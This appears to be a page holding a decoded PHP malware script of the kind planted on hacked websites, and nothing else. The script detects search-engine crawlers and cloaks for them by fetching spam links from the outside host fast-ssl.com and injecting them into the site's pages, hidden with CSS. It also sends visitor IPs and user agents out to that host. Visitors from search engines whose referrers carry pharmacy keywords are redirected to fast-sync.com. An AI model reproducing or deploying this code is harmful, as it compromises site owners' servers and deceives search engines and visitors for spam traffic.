PHP Decode

$client_ip = array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : '';
if(!$client_ip) $client_ip=$_SERVER["REMOTE_ADDR"];
$client_ip = preg_replace('/.*unknown,\s*/', '', $client_ip);
$ip = preg_replace("/\.(\d+)$/", '', $client_ip);
$originalip = $client_ip;
$cdomain="fast-ssl.com";$rdomain="fast-sync.com";
$gt_php="gt.php";
function ouDOBFFgehwnqSagBhbisU($url)	{

if (function_exists("curl_init")) {
	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $url);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
	$out = curl_exec($c);
	curl_close($c);
} else {
	$out = "curl not available."; exit;
}
return $out;

}

error_reporting(0);
if(!array_key_exists('HTTP_USER_AGENT', $_SERVER))
	$_SERVER['HTTP_USER_AGENT'] = '';
$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
if(preg_match("/Googlebot|bingbot|Slurp/", $_SERVER["HTTP_USER_AGENT"]))	{
	if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; }
	$outsourceurl="http://$cdomain/showop.php?page=$page";
	
	$out=ouDOBFFgehwnqSagBhbisU($outsourceurl);

	if ($out!="" and $out!="1") {
		header('Cache-Control: no-cache, no-store, must-revalidate');
		print $out;
		exit;
	}
	
	$outsourceurl="http://$cdomain/$gt_php?site=".urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode($originalip).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	$links_content = base64_decode(ouDOBFFgehwnqSagBhbisU($outsourceurl));
	
	$originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
	$originalpage = ouDOBFFgehwnqSagBhbisU($originalurl);
	
	if(preg_match("/<a.*?>/is", $originalpage))	{
		preg_match_all("/<a.*?>.*?<\/a>/is", $links_content, $matches);
		$links = $matches[0];
		$comment = '';
		if(preg_match("/<!--.*?-->/s", $links_content, $matches))
			$comment = $matches[0];
		function anchor($data)	{
			if(!preg_match("/<img/i", $data[2])) 
				return "<!-- link_".$GLOBALS['i']++." -->".$data[0];
		}
		srand(crc32($originalurl));
		for ($class_name = '', $i = 0, $z = strlen($a = 'abcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 8; $x = rand(0,$z), $class_name .= $a{$x}, $i++); 
		$GLOBALS['i'] = 0;
		$originalpage = preg_replace_callback("/<a(.*?)>(.*?)<\/a>/is", "anchor", $originalpage);
		$i = $GLOBALS['i'];
		if($i >= count($links))	{
			for($k=0;$k<count($links);$k++)	{
				$links[$k] = preg_replace("/<a/", "<a class='$class_name'", $links[$k]);
				$originalpage = preg_replace("/<!-- link_$k -->/s", $links[$k]. ' ', $originalpage );
			}
		}
		else {
			$n_links = round(count($links)/$i);
			for($k=0;$k<$i;$k++)	{
				$out_content = '';
				for($p=0;$p<$n_links;$p++)
					if(($k*$n_links+$p) < count($links))	{
						$links[$k*$n_links+$p] = preg_replace("/<a/i", "<a class='$class_name'", $links[$k*$n_links+$p]);
						$out_content .= $links[$k*$n_links+$p];
					}
					$originalpage = preg_replace("/<!-- link_$k -->/s", $out_content. ' ', $originalpage );
			}
		}
		$originalpage = preg_replace("/<!-- link_(\d+) -->/s", '', $originalpage);
		$hide_methods = array("display: none", "visibility: hidden", "text-indent:5000px", "position: absolute; left: 7000px; top: 0px", "position:absolute; left:4000px");
		$css = $hide_methods[array_rand($hide_methods)];
		if(preg_match("/<head/i", $originalpage))	{
			$originalpage = preg_replace("/(<head.*?>)/i", "$1$comment
<style>
.$class_name	{
	$css;
}
</style>", $originalpage);
		}
		elseif(preg_match("/<html/i", $originalpage))	{
			$originalpage = preg_replace("/(<html.*?>)/i", "$1$comment
<style>
.$class_name	{
	$css;
}
</style>", $originalpage);
		}
		else
			$originalpage = preg_replace("/^/", "$comment<style>
.$class_name	{
	$css;
}
</style>", $originalpage);
	}
	else {
		if (preg_match('/<body.*?>/i',$originalpage)) {
			$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
			$originalpage=preg_replace('/(<body.*?>)/i', "$1$links_content", $originalpage, 1);
		} 
		elseif (preg_match('/<\/body>/i',$originalpage)) {
			$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
			$originalpage=preg_replace('/(<\/body>)/i', "$links_content$1", $originalpage, 1);
		}
	}
	header('Cache-Control: no-cache, no-store, must-revalidate');
	print $originalpage;
	exit;	
}

if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"]) && !preg_match("/^(000000000000)/", $originalip)) { 
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia');
	$niche='unknown';
	foreach($tabs as $tab)	{
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	$page = urlencode("http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]);
	if ($niche!="unknown") {
		header('Cache-Control: no-cache, no-store, must-revalidate');
		header("Location: http://$rdomain/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}

	$tag = $_SERVER["HTTP_HOST"];
    if(preg_match("/^www\./", $tag))
            $tag = preg_replace( "/^www\.(.*)$/", "$1", $tag);
    $tag = substr(strtolower(base64_encode($tag)), 0, 5);
	if(preg_match("/$tag/", $_SERVER["REQUEST_URI"]))	{
		header('Cache-Control: no-cache, no-store, must-revalidate');
		header("Location: http://$rdomain/r.pl?niche=nch&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}
}